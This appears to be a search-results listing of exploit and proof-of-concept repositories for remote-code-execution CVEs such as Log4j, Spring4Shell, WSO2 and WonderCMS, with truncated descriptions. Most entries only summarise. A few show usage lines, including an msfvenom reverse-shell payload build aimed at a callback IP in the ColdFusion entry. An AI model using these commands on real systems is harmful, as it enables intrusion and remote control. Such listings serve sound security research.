626865 matches found
CVE-2023-41425-wonderCMS_RCE
CVE-2023-41425-wonderCMSRCE Cross Site Scripting vulnerability in Wonder CMS v.3.2.0 thru v.3.4.2 allows a remote attacker to execute arbitrary code via a crafted script uploaded to the installModule component. For educational purposes only Requires knowledge of loginURL, admin access or the...
CVE-2022-29464
WSO2 Arbitrary File Upload to Remote Command Execution RCE https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 Example python3 exploit.py https://target.org:9443 shell.jsp...
CVE-2026-33017
CVE-2026-33017 Langflow RCE ★ CVE-2026-33017 Langflow 원격 코드 실행 PoC ★ https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7 환경 구축 다음 명령어를 사용하여 취약한 Langflow 환경을 빌드하고 실행합니다: docker build -t cve-2026-33017-langflow-vuln . docker run --rm -it -p 7860:7860 --name langflow-vuln...
CVE-2022-24990
CVE-2022-24990 Description - POC for CVE-2022-24990: TerraMaster TOS unauthenticated remote command execution via PHP Object Instantiation. - create by antx at 2022-04-12. Detail - The vulnerability allows a remote attacker to execute arbitrary commands on the target system. - The vulnerability...
CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability
CVE-2024-21413 | Microsoft Outlook 원격 코드 실행 취약점 PoC 📜 설명 이 스크립트는 CVSS 9.8의 심각도를 가진 Microsoft Outlook에서 발견된 중요한 보안 취약점인 CVE-2024-21413에 대한 개념 증명PoC을 제공합니다. MonikerLink 버그로 명명된 이 취약점은 로컬 NTLM 정보 유출 가능성과 원격 코드 실행 가능성을 포함하여 광범위한 영향을 미칩니다. 또한 Office 보호된 보기Protected View를 우회할 수 있는 공격 벡터를 제시하여 다른 Office...
Log4J-RCE-Proof-Of-Concept
Log4J-RCE-Proof-Of-Concept CVE-2021-44228 This is a proof of concept of the log4j rce. Here are some links for the CVE-2021-44228: https://www.lunasec.io/docs/blog/log4j-zero-day https://github.com/advisories/GHSA-jfh8-c2jp-5v3q https://github.com/apache/logging-log4j2/pull/608...
spring4shell-poc
Spring4Shell POC 취약점 설명: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html POC 구성: https://github.com/BobTheShoplifter/Spring4Shell-POC 빌드/실행 단계 JDK 11.0.14, Spring Boot 2.6.5, Apache Tomcat 9.0.60에서 테스트됨 mvn clean package를 실행하여 애플리케이션을 빌드합니다. demo-0.0.1-SNAPSHOT.war를...
spring4shell-poc
Spring4Shell POC Description of the vulnerability: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html Construction of the POC: https://github.com/BobTheShoplifter/Spring4Shell-POC Steps to Build/Run Tested with JDK 11.0.14, Spring Boot 2.6.5, and Apache Tomcat 9.0.60 Run...
CVE-2024-50492
🚨 CVE-2024-50492 - ScottCart 🔥 Exploit Script for ScottCart 🧑💻 By Nxploit – Khaled Alenazi 📌 Description The ScottCart plugin for WordPress versions ≤ 1.1 is vulnerable to Remote Code Execution RCE. This allows unauthenticated attackers to execute arbitrary PHP functions on the server through a...
CVE-2022-48565-POC
CVE-2022-48565 PoC Introduction This is a Proof of Concept PoC demonstrating the vulnerability CVE-2022-48565 , which is based on unsafe deserialization of Plist files in Python. By processing specially crafted Property List Plist files, an attacker can execute arbitrary code on the target system...
CVE-2024-22120-RCE-with-gopher
Usage python exploit.py --ip --sid --hostid --phpsessid --falsetime --truetime Summary This exploit was created to exploit an XXE XML External Entity. Through it, I read the backend code of the web service and found an endpoint where I could use gopher to make internal requests on Zabbix version...
slides
슬라이드 다르게 해킹하기: Z세대 버그로 iOS 14 제압하기 BlackHat USA 2021 Zhi Zhou@CodeColorist, Jundong Xie @Jdddong 백서 녹화 패러디 Eval은 보지 마: Objective-C 런타임 동적 코드 실행 RWCTF 2021 Zhi Zhou@CodeColorist 크로스 사이트 탈출: 특이한 방법으로 macOS Safari 샌드박스 제압하기 BlackHat EU 2020 Zhi Zhou@CodeColorist 난 자유로워지고 싶어: 특이한 로직 Safari 샌드박스 탈출...
CVE-2020-0796
CVE-2020-0796 Scanner = https://github.com/ButrintKomoni/cve-2020-0796 Remote overflow POC = https://github.com/jiansiting/CVE-2020-0796 SMBGhostRCEPoC = https://github.com/chompie1337/SMBGhostRCEPoC...
CVE-2018-1000117-Exploit
CVE-2018-1000117 Python Software Foundation CPython version From 3.2 until 3.6.4 on Windows contains a Buffer Overflow vulnerability in os.symlink function on Windows that can result in Arbitrary code execution, likely escalation of privilege. This attack appears to be exploitable via a python...
CVE-2020-13151-POC-Aerospike-Server-Host-Command-Execution-RCE-
CVE-2020-13151-POC-Aerospike-Server-Host-Command-Execution-RCE- Reference: https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html exploit.py - python code to run...
Unomi-CVE-2020-13942
CVE-2020-13942 Apache Unomi Remote Code Execution Vulnerability Script Vulnerability Overview Apache Unomi is an open-source Java data platform, a Java server designed to manage data of customers, prospects, and visitors, and to help personalize customer experiences. Unomi can be used to integrat...
CVE-2017-7525-Jackson-Deserialization-Lab
CVE-2017-7525 Java Insecure Deserialization Lab Basic Java REST application vulnerable to Insecure Deserialization, leading to RCE. The project must be run on Java 8u45 Based on Maven with the following dependencies: jackson-databind 2.2.2 commons-collections 3.1 spring-context-support 4.3.11 Mor...
CVE-2009-2265
Version: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp Example :...
CVE-2020-35476
CVE-2020-35476 A remote code execution vulnerability occurs in OpenTSDB through 2.4.0 via command injection in the yrange parameter. Not finished and doesn't work. Most of the code is there but payload has to be fixed...